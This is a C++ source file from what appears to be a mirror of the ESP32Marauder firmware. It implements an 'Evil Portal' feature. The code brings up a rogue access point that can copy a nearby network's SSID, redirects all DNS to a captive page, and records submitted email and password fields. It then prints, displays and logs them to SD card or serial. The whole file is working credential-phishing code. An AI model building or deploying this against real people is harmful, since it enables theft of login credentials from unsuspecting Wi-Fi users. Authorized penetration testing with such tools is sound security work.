mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-12 15:50:36 -08:00
def6d2d277
strncpy only copies the bytes specified, so if you set a name like "PORTAL" and then want to set a name like "HELLO" the result for apName would be "HELLOL". Instead copy the size of MAX_AP_NAME_SIZE.
308 lines
9.2 KiB
C++
308 lines
9.2 KiB
C++
#include "EvilPortal.h"
|
|
|
|
AsyncWebServer server(80);
|
|
|
|
EvilPortal::EvilPortal() {
|
|
this->runServer = false;
|
|
this->name_received = false;
|
|
this->password_received = false;
|
|
this->has_html = false;
|
|
this->has_ap = false;
|
|
}
|
|
|
|
bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
|
if (!this->setAP(ssids, access_points))
|
|
return false;
|
|
if (!this->setHtml())
|
|
return false;
|
|
|
|
startPortal();
|
|
|
|
return true;
|
|
}
|
|
|
|
String EvilPortal::get_user_name() {
|
|
return this->user_name;
|
|
}
|
|
|
|
String EvilPortal::get_password() {
|
|
return this->password;
|
|
}
|
|
|
|
void EvilPortal::setupServer() {
|
|
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
|
request->send_P(200, "text/html", index_html);
|
|
Serial.println("client connected");
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Client connected to server");
|
|
#endif
|
|
});
|
|
|
|
server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
|
String inputMessage;
|
|
String inputParam;
|
|
|
|
if (request->hasParam("email")) {
|
|
inputMessage = request->getParam("email")->value();
|
|
inputParam = "email";
|
|
this->user_name = inputMessage;
|
|
this->name_received = true;
|
|
}
|
|
|
|
if (request->hasParam("password")) {
|
|
inputMessage = request->getParam("password")->value();
|
|
inputParam = "password";
|
|
this->password = inputMessage;
|
|
this->password_received = true;
|
|
}
|
|
request->send(
|
|
200, "text/html",
|
|
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
|
|
});
|
|
Serial.println("web server up");
|
|
}
|
|
|
|
bool EvilPortal::setHtml() {
|
|
Serial.println("Setting HTML...");
|
|
#ifndef WRITE_PACKETS_SERIAL
|
|
File html_file = sd_obj.getFile("/index.html");
|
|
if (!html_file) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Could not find /index.html.");
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("Could not find /index.html. Use stopscan...");
|
|
return false;
|
|
}
|
|
else {
|
|
if (html_file.size() > MAX_HTML_SIZE) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("The given HTML is too large.");
|
|
this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
|
|
return false;
|
|
}
|
|
String html = "";
|
|
while (html_file.available()) {
|
|
char c = html_file.read();
|
|
if (isPrintable(c))
|
|
html.concat(c);
|
|
}
|
|
strncpy(index_html, html.c_str(), strlen(html.c_str()));
|
|
this->has_html = true;
|
|
Serial.println("html set");
|
|
html_file.close();
|
|
return true;
|
|
}
|
|
#else
|
|
return false;
|
|
#endif
|
|
|
|
}
|
|
|
|
bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
|
// See if there are selected APs first
|
|
String ap_config = "";
|
|
String temp_ap_name = "";
|
|
for (int i = 0; i < access_points->size(); i++) {
|
|
if (access_points->get(i).selected) {
|
|
temp_ap_name = access_points->get(i).essid;
|
|
break;
|
|
}
|
|
}
|
|
// If there are no SSIDs and there are no APs selected, pull from file
|
|
// This means the file is last resort
|
|
if ((ssids->size() <= 0) && (temp_ap_name == "")) {
|
|
#ifndef WRITE_PACKETS_SERIAL
|
|
File ap_config_file = sd_obj.getFile("/ap.config.txt");
|
|
// Could not open config file. return false
|
|
if (!ap_config_file) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Could not find /ap.config.txt.");
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("Could not find /ap.config.txt. Use stopscan...");
|
|
return false;
|
|
}
|
|
// Config file good. Proceed
|
|
else {
|
|
// ap name too long. return false
|
|
if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("The given AP name is too large.");
|
|
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
|
return false;
|
|
}
|
|
// AP name length good. Read from file into var
|
|
while (ap_config_file.available()) {
|
|
char c = ap_config_file.read();
|
|
Serial.print(c);
|
|
if (isPrintable(c)) {
|
|
ap_config.concat(c);
|
|
}
|
|
}
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("AP name from config file");
|
|
this->sendToDisplay("AP name: " + ap_config);
|
|
#endif
|
|
Serial.println("AP name from config file: " + ap_config);
|
|
ap_config_file.close();
|
|
}
|
|
#else
|
|
return false;
|
|
#endif
|
|
}
|
|
// There are SSIDs in the list but there could also be an AP selected
|
|
// Priority is SSID list before AP selected and config file
|
|
else if (ssids->size() > 0) {
|
|
ap_config = ssids->get(0).essid;
|
|
if (ap_config.length() > MAX_AP_NAME_SIZE) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("The given AP name is too large.");
|
|
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
|
return false;
|
|
}
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("AP name from SSID list");
|
|
this->sendToDisplay("AP name: " + ap_config);
|
|
#endif
|
|
Serial.println("AP name from SSID list: " + ap_config);
|
|
}
|
|
else if (temp_ap_name != "") {
|
|
if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("The given AP name is too large.");
|
|
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
|
}
|
|
else {
|
|
ap_config = temp_ap_name;
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("AP name from AP list");
|
|
this->sendToDisplay("AP name: " + ap_config);
|
|
#endif
|
|
Serial.println("AP name from AP list: " + ap_config);
|
|
}
|
|
}
|
|
else {
|
|
Serial.println("Could not configure Access Point. Use stopscan...");
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Could not configure Access Point.");
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
}
|
|
|
|
if (ap_config != "") {
|
|
strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
|
|
this->has_ap = true;
|
|
Serial.println("ap config set");
|
|
return true;
|
|
}
|
|
else
|
|
return false;
|
|
|
|
}
|
|
|
|
void EvilPortal::startAP() {
|
|
Serial.print("starting ap ");
|
|
Serial.println(apName);
|
|
|
|
WiFi.mode(WIFI_AP);
|
|
WiFi.softAP(apName);
|
|
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("AP started");
|
|
#endif
|
|
|
|
Serial.print("ap ip address: ");
|
|
Serial.println(WiFi.softAPIP());
|
|
|
|
this->setupServer();
|
|
|
|
this->dnsServer.start(53, "*", WiFi.softAPIP());
|
|
server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
|
|
server.begin();
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Evil Portal READY");
|
|
#endif
|
|
}
|
|
|
|
void EvilPortal::startPortal() {
|
|
// wait for flipper input to get config index
|
|
this->startAP();
|
|
|
|
this->runServer = true;
|
|
}
|
|
|
|
void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
|
|
len = str.length(); // Obtain the length of the string
|
|
|
|
buf = new uint8_t[len]; // Dynamically allocate the buffer
|
|
|
|
// Copy each character from the string to the buffer
|
|
for (uint32_t i = 0; i < len; i++) {
|
|
buf[i] = static_cast<uint8_t>(str.charAt(i));
|
|
}
|
|
}
|
|
|
|
void EvilPortal::addLog(String log, int len) {
|
|
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
|
|
if (save_packet) {
|
|
uint8_t* logBuffer = nullptr;
|
|
uint32_t logLength = 0;
|
|
this->convertStringToUint8Array(log, logBuffer, logLength);
|
|
|
|
#ifdef WRITE_PACKETS_SERIAL
|
|
buffer_obj.addPacket(logBuffer, logLength, true);
|
|
#elif defined(HAS_SD)
|
|
sd_obj.addPacket(logBuffer, logLength, true);
|
|
#else
|
|
return;
|
|
#endif
|
|
}
|
|
}
|
|
|
|
void EvilPortal::sendToDisplay(String msg) {
|
|
#ifdef HAS_SCREEN
|
|
String display_string = "";
|
|
display_string.concat(msg);
|
|
int temp_len = display_string.length();
|
|
for (int i = 0; i < 40 - temp_len; i++)
|
|
{
|
|
display_string.concat(" ");
|
|
}
|
|
display_obj.loading = true;
|
|
display_obj.display_buffer->add(display_string);
|
|
display_obj.loading = false;
|
|
#endif
|
|
}
|
|
|
|
void EvilPortal::main(uint8_t scan_mode) {
|
|
if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
|
|
this->dnsServer.processNextRequest();
|
|
if (this->name_received && this->password_received) {
|
|
this->name_received = false;
|
|
this->password_received = false;
|
|
String logValue1 =
|
|
"u: " + this->user_name;
|
|
String logValue2 = "p: " + this->password;
|
|
String full_string = logValue1 + " " + logValue2 + "\n";
|
|
Serial.print(full_string);
|
|
this->addLog(full_string, full_string.length());
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay(full_string);
|
|
#endif
|
|
}
|
|
}
|
|
}
|